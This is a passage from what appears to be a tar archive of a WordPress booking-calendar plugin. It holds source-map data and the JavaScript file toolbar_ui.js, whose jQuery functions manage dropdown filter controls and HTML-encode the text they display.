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 toolbar_ui.js 0000666 00000037052 15166276556 0007277 0 ustar 00 "use strict"; /** * Encode HTML text to safe HTML entities * * Replace all characters in the given range (unicode 00A0 - 9999, as well as ampersand, greater & less than) * with their html entity equivalents, which is simply &#nnn; where nnn is the unicode value we get from charCodeAt * * @param rawStr * @returns {*} */ function wpbc_get_safe_html_text(rawStr) { var encodedStr = rawStr.replace(/[\u00A0-\u9999<>\&]/g, function (i) { return '&#' + i.charCodeAt(0) + ';'; }); return encodedStr; } /** * Change Value and Title of dropdown after clicking on Apply button * * @param params Example: { 'dropdown_id': 'wh_booking_date', 'dropdown_radio_name': 'ui_wh_booking_date_radio' } */ function wpbc_ui_dropdown_apply_click(params) { // Get input values of all elements in LI section, where RADIO was selected var filter_ui_dates_arr = jQuery('input[name="' + params['dropdown_radio_name'] + '"]:checked').parents('li').find(':input').map(function () { return wpbc_get_safe_html_text(jQuery(this).val()); }).get(); if (0 !== filter_ui_dates_arr.length) { // Continue only if radio button was selected, and we are having value // Get titles of all elements in LI section, where RADIO was selected var filter_ui_titles_arr = jQuery('input[name="' + params['dropdown_radio_name'] + '"]:checked').parents('li').find(':input').map(function () { if ('text' == jQuery(this).prop('type')) { return jQuery(this).val(); } if ('selectbox-one' == jQuery(this).prop('type') || 'select-one' == jQuery(this).prop('type')) { return jQuery(this).find(':selected').text(); } if ('radio' == jQuery(this).prop('type') || 'checkbox' == jQuery(this).prop('type')) { var input_selected = jQuery(this).filter(':checked').next('.wpbc_ui_control_label').html(); if (undefined == input_selected) { input_selected = jQuery(this).filter(':checked').prev('.wpbc_ui_control_label').html(); } return undefined !== input_selected ? input_selected : ''; } return jQuery(this).val(); }).get(); // Update Value to dropdown input hidden elements. Such value stringify. jQuery('#' + params['dropdown_id']).val(JSON.stringify(filter_ui_dates_arr)); // Generate change action, for ability to send Ajax request jQuery('#' + params['dropdown_id']).trigger('change'); // Get Label of selected Radio button var filter_ui_dates_title = jQuery('input[name="' + params['dropdown_radio_name'] + '"]:checked').next('.wpbc_ui_control_label').html() + ': '; // Remove selected value of radio button from beginning, we will use Label title instead filter_ui_titles_arr.shift(); // Update Title in dropdown var encoded_html_text = wpbc_get_safe_html_text(filter_ui_dates_title + filter_ui_titles_arr.join(' - ')); jQuery('#' + params['dropdown_id'] + '_selector .wpbc_selected_in_dropdown').html(encoded_html_text); } jQuery('#' + params['dropdown_id'] + '_container').hide(); } /** * Close dropdown after clicking on Close button * * @param dropdown_id ID of dropdown */ function wpbc_ui_dropdown_close_click(dropdown_id) { jQuery('#' + dropdown_id + '_container').hide(); } /** * Simple option click on dropdown * * @param params Example: { 'dropdown_id': 'wh_booking_date', 'is_this_simple_list': true, 'value': '5', '_this': this } */ function wpbc_ui_dropdown_simple_click(params) { jQuery('#' + params['dropdown_id'] + '_selector .wpbc_selected_in_dropdown').html(jQuery(params['_this']).html()); jQuery('#' + params['dropdown_id']).val(JSON.stringify([params['value']])); jQuery('#' + params['dropdown_id'] + '_container li input[type=checkbox],' + '#' + params['dropdown_id'] + '_container li input[type=radio]').prop('checked', false); jQuery('#' + params['dropdown_id']).trigger('change'); if (!params['is_this_simple_list']) { jQuery('#' + params['dropdown_id'] + '_container').hide(); } } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvX3Rvb2xiYXJfdWkvX291dC90b29sYmFyX3VpLmpzIiwibmFtZXMiOlsid3BiY19nZXRfc2FmZV9odG1sX3RleHQiLCJyYXdTdHIiLCJlbmNvZGVkU3RyIiwicmVwbGFjZSIsImkiLCJjaGFyQ29kZUF0Iiwid3BiY191aV9kcm9wZG93bl9hcHBseV9jbGljayIsInBhcmFtcyIsImZpbHRlcl91aV9kYXRlc19hcnIiLCJqUXVlcnkiLCJwYXJlbnRzIiwiZmluZCIsIm1hcCIsInZhbCIsImdldCIsImxlbmd0aCIsImZpbHRlcl91aV90aXRsZXNfYXJyIiwicHJvcCIsInRleHQiLCJpbnB1dF9zZWxlY3RlZCIsImZpbHRlciIsIm5leHQiLCJodG1sIiwidW5kZWZpbmVkIiwicHJldiIsIkpTT04iLCJzdHJpbmdpZnkiLCJ0cmlnZ2VyIiwiZmlsdGVyX3VpX2RhdGVzX3RpdGxlIiwic2hpZnQiLCJlbmNvZGVkX2h0bWxfdGV4dCIsImpvaW4iLCJoaWRlIiwid3BiY191aV9kcm9wZG93bl9jbG9zZV9jbGljayIsImRyb3Bkb3duX2lkIiwid3BiY191aV9kcm9wZG9